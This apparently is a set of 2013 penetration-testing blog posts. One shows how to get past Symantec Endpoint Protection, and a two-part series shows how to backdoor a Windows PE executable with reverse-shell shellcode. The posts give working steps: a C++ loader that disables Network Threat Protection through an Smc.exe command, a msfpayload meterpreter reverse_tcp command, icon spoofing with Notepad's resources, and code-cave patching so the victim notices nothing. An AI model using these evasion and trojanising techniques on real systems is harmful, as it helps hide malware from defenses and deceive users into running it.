Monday, March 11, 2013

AV Bypass: Symantec Endpoint Protection

While on an internal network assessment many months ago, Symantec Endpoint Protection kept catching my every move. Every thing I threw at it was flagged. I reached out to the community and in the end I was able to get past it using the technique described here. I had some time recently and decided to look at other ways of bypassing this particular AV - given that a recent client was also using it. I also decided to use the opportunity to review some Visual C++ code.

As it turns out, there are a myriad of ways to bypassing AV. Before we get started though, we need to lay some groundwork. Any anti-virus worth their salt is going to flag your metasploit payloads if you generate them using the default options. Trust me, I know. In fact, try it for yourself. Generate an empty payload and copy it to a box running an AV of your choice. There is a very high probability that it will get caught. ProTip: Do not copy your exe's to VirusTotal.

Now, most people will recommend encoding your payload to get around the issue. If you have tried that approach, you already know it doesn't work. What is important to note though, is that AV's are not actually flagging the payload but the templates in use. You can learn more about that here.

Armed with this knowledge it therefore means that in order for us to stand a chance, we must use our own custom templates.

For this tutorial I am using :
- Windows 7 (32-bit)
- Backtrack 5 R3
- Ditto (Nifty tool from Mubix)
- Symantec Endpoint Protection (Used version 12.1)

The idea for this post came from discussions with members of the community as well as this blog post.  The author takes the following approach:
  1. Allocate new executable memory region.
  2. Copy shellcode to memory allocated in step 1.
  3. Execute shellcode.
I had some issues with this in my environment and so I recreated the steps in Visual C++. My focus was specifically on getting the better of Symantec. Before I go on I would like to add a note on Reconnaissance. Most pentesters overlook this step choosing instead to jump right into attack mode.  However, I caution those who would take a similar a path. The success/failure of your engagement has a lot to do with the quality of your recon. It is important that you know as much as you about the client. So if during your recon you determine that the client is using Symantec Endpoint Protection, then grab a copy and hammer it in your lab. 

Now onto the fun stuff. I start by first of all making sure that when the executable is triggered, a window will not be displayed. The astute user aka victim should see only a flash. I then call the KillSymantec() function. This function will first take a snapshot of the running processes and once  completed will cycle through looking for the Symantec process i.e. "Smc.exe". 

Once found, I disable Network Threat Protection with the following command:

system("\"C:\\Program Files\\Symantec\\Symantec Endpoint Protection\\Smc.exe\" -disable -ntp");

Let me explain the reason behind this. The custom template by itself will bypass AV checks.  See below:

However, what I found happening was when I used a meterpreter reverse_tcp payload, the Network Threat Protection kicked in and flagged my activity. Of course there are numerous ways around this. One of which might be to use the reverse_https payload instead. However,  to have some fun I decided to just go ahead and disable it altogether. Of course an astute user might notice the warning indicating that her firewall was just disabled. So brush up on your social-engineering foo.

After disabling Threat Protection, we wait a couple seconds for our changes to take effect. We then generate our shellcode in metasploit:

msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=443 R | msfencode -e x86/alpha_mixed

After that memory is allocated, taking the time to ensure that the correct attributes are set. We should be allowed to read and write to the area. We then copy our shellcode over and execute it. At this point you should see favorite screen:

To add a fun twist to our setup I decided to give mubix's ditto tool a run. From the readme ditto essentially :

"ditto takes a Windows exe as input and copies the resources of that binary into the target binary. Resources are usually icons, copywright info and descriptions of the binary."
 Using the following command I copied Notepad's resources into our custom executable:

C:\>ditto.exe C:\windows\system32\notepad.exe SEP_BYPASS.exe

So now our executable looks like this: 

And if our user decides to check the properties of the executable before execution they will be met with a familiar screen. Of course it goes without saying that you should name your executable appropriately.

The final code looks like this

Note also that when compiling for release make sure to change the Runtime Library options from Multi-threaded Debug DLL(/MDd). To do this, highlight the project click Properties -> Configuration Properties -> C/C++ - -> Code Generation -> Runtime Library option. That way all you need to copy to your victim is just the executable.

This was more about fun than anything else and is quick and dirty.  It is very specific to Symantec Endpoint Protection but could be extended. The idea is to adjust your approach per your engagement. For the C++ ninjas, I have not looked at C++ in a while so don't be hard on me :). 

Sunday, March 3, 2013

Backdooring PE Files - Part 2

In part 1 of this two part series, we prepared our executable for code injection. In this post we are going to inject our code and execute our shell.
Let's open our executable in Immunity and examine our file:

We can see the section that we added in part one of this series. Let's take note of this memory address as we will be using it later on.  In my environment the memory address is 00642000.  

When we open our executable file, we notice that execution is paused at the point of calling a function. This is an ideal place to start our hijack. So let's copy the first couple instructions and save them to a file. This step is important, because as you may recall we will need to return to normal execution after executing our shellcode.

Entry Point

004AC1C2 >   E8 C1080000    CALL WinMerge.004ACA88
004AC1C7   .^E9 37FDFFFF   JMP WinMerge.004ABF03

Let's access our buffer. We overwrite the first instruction with a jump to 00642000

Take the jump by pressing F7. You should have landed at the beginning of our buffer.

Great!!! Highlight the changes you made above and save them to a new executable. At this point we have successfully hijacked code execution. Now, in order for us to resume normal execution after our shellcode has finished executing, we need to save the state of the registers prior to calling our shellcode.  This is achieved by using the PUSHAD and PUSHFD instructions. If you are not familiar with these commands then take some time to understand them. Information can be found here.  

Edit the first few bytes with the PUSHAD and PUSHFD commands. Execute the instructions and note the value of ESP. In my case that value was 0012FFA0. This step is crucial as this value will be used later on. 

Fire up metasploit and generate your favourite shellcode. For this exercise I chose to use a reverse tcp shell on port 443. We then copy the generated code from metasploit and binary paste it into our buffer.

Now set a break point at the end of the shellcode you just copied and hit F9 to execute. When you have hit your breakpoint take special note of ESP. Again this is important as we will need this value to resume normal execution. 

In my case, after execution ESP has an address of 0012FF00. Highlight these changes - register saving instructions and shellcode - and save them to an executable file. We are almost there. 

Let's take stock of where we are at this point. So far we have:
  1. Hijacked execution
  2. Saved the state of the registers before shellcode execution
  3. Noted the value of ESP prior to and after shellcode execution
As we mentioned earlier once our shellcode has finished executing, we need to return to normal execution. Remember those register saving instructions I mentioned earlier ? Remember also saving the value of ESP before and after execution? Well now we are going to use them.  We are going to be restoring our environment to a pre-hijacked state. To achieve this we first need to align our stack. Prior to execution, ESP had a value of 0012FFA0. And after execution it had a value of 0012FF00. In order for us to get back to 0012FA0, we need to add the result of 0012FA0 - 0012FF00 to ESP. The following command achieves this ADD ESP, 0xA0

Having aligned our stack, we now need to restore the register values we saved prior to executing our shellcode. This we achieve by issuing the POPFD and POPAD instructions. Note the reverse order of the instructions. This of course is due to the layout of the stack. 

We have now aligned the stack and restored the register values. All that is needed now is to reintroduce the initial instructions we overwrote. Recall that we overwrote the CALL WinMerge.004ACA88. We then go to the next instruction JMP 004AC1C7.

Our executable now looks like this:

Highlight those changes and save them. Now set up a listener and run the executable. BOOM!! We have shell. We are DONE!!!

Not so fast. You should have noticed that even though you received a shell, the application was not launched. Exit the shell. WTH??? What just happened? Exiting the shell launches the application ???? This is where the fun begins. 

We are going to have to step through the shellcode to determine what exactly is responsible for this behaviour. Luckily I have done that for you. I spent DAYS looking and consulting with friends to get to the bottom of this. You can ask MaXe aka @InterN0t how many pms I sent him on the issue. I would venture say a thousand or so.....

As it turns out the cause of this behaviour is due to a call to WaitForSingleObject. The function takes two parameters. However the one of interest to us is the timeout parameter. And our shellcode in all its wisdom is passing a non-zero value aka wait infinitely. 

It gets even more interesting. Finding this parameter is not as easy as it sounds. Trust me when I tell you it isn't. If you generated your shellcode with say msf v3.2 then it's not so bad.  The parameter is actually PUSH -1. See below:

However if you used a later version like in my case msf 4.5, then the PUSH -1 which causes the shellcode to wait infinitely is implemented differently. It's implemented as series of instructions:

DEC ESI decrements ESI by 1, resulting in ESI being equal to 00000000. The PUSH ESI pushes it to the stack, at this point that value is FFFF FFFF or -1. Finally INC ESI brings it back to 0000 0000 again. That FFFF FFFF later gets passed to the WaitForSingleObject function.  You should track this value for a better understanding of what is happening. In your debugging efforts be careful not to focus on the wrong function(e.g. WaitForSingleObjectEx) as I did.

If you don't want to push -1 to the stack then you can replace DEC ESI and PUSH ESI with NOPS.
Again I have to say thanks to MaXe for not only discovering this but also for taking the time to answer ALL my questions. 

Depending on your environment save those changes. Now when you run your executable, the application should launch without you having to kill your shell. Your victim will be none the wiser.

I bet you must saying there has to be a easier way than this. I am sure there is. But it never hurts to know what's happening under the hood. Do this a few times and it's really simple and straight forward. Keep in mind though that some executables have mechanisms in place to guard against this activity. 

Special Thanks To:

Backdooring PE Files - Part 1

Sometimes during an engagement, whether it be a social engineering gig or network penetration test, you may find that you need to create a backdoored EXE and then trick a user into running it. There are several ways to achieve this.  And this series of posts, is aimed at discussing a few of them.

This topic has of course been covered several times on the interwebs. However, I am currently preparing for  the Offsec OSCE challenge and thought what better way to solidify a concept than to share it with others.

In this two part series I will go over:
  1. Setting up the executable for code injection
  2. Code Injection and execution
The easiest method is to probably use the msfpayload option in the Metasploit framework. The process is quite simple. You start by first downloading the executable you wish to manipulate. And then pass it as a parameter to msfpayload.

The command is as shown in the diagram below:

When the user tries to execute this file our shellcode is triggered and its game over. However, you will note that in this scenario the "backdoored" executable file did not launch the application. Now this might raise a red flag for the keen user. And he may suspect that something fishy is going on.

So how how can we prevent this behaviour? That's easy. Well we could use the -k(run it in another thread) option with msfencode and be done. There are also a number of other publicly available tools or we could simply do it ourselves. By now you must have guessed that we will be choosing the latter option. Why? Because that's what we do :)  

Before we go any further take some time to configure your environment with the following tools:

I am also using BackTrack 5 R3 and WIN XP SP3.

The approach we will take is simple:
  1. Hijack code execution
  2. Redirect execution to our shellcode
  3. Execute shellcode
  4. Return to normal execution
That's it. So let's get started. 

First off, we need to modify the executable and add enough space for the shellcode we are going to inject. To do this, open the the executable using LordPE. Click the sections button and you should see something similiar to:

From this you can see the current structure of our PE file. As a side note for more information on the structure of PE files you can check here. We are going to add a new section and later use this to house our shellcode. We do this by right clicking on one of the current sections and choosing add section header. The new header is called .NewSec. We want to add at least 1000 bytes as this should be enough space for our shellcode. Right click on .NewSec and select edit section header. In the Edit SectionHeader window change the VirtualSize and RawSize to 1000 as shown:

It is important to note that our newly added section needs to be writeable. Click on Flags and ensure that the writeable option is checked. See below:

 At this point we have:
  1. Added a new section called .NewSec
  2. Allocated 1000 bytes
  3. Marked section as writeable
We are almost done. Save your changes. If you try to run the executable again you should receive an error similiar to :

It would appear as if we have borked our executable file. As it stands now, the file expects to have 1000 bytes at the end of it. Let's fix this error. Open the file using XVI32 and navigate all the way to the end.

Go to Edit -> Insert String and insert a 1000 bytes as shown:

Save your changes and close the application. If you try to execute the file again it should function as normal. At this stage our modified executable is ready for our backdoor.

That's all for now. In part 2, we will add our shellcode and achieve total pwnage.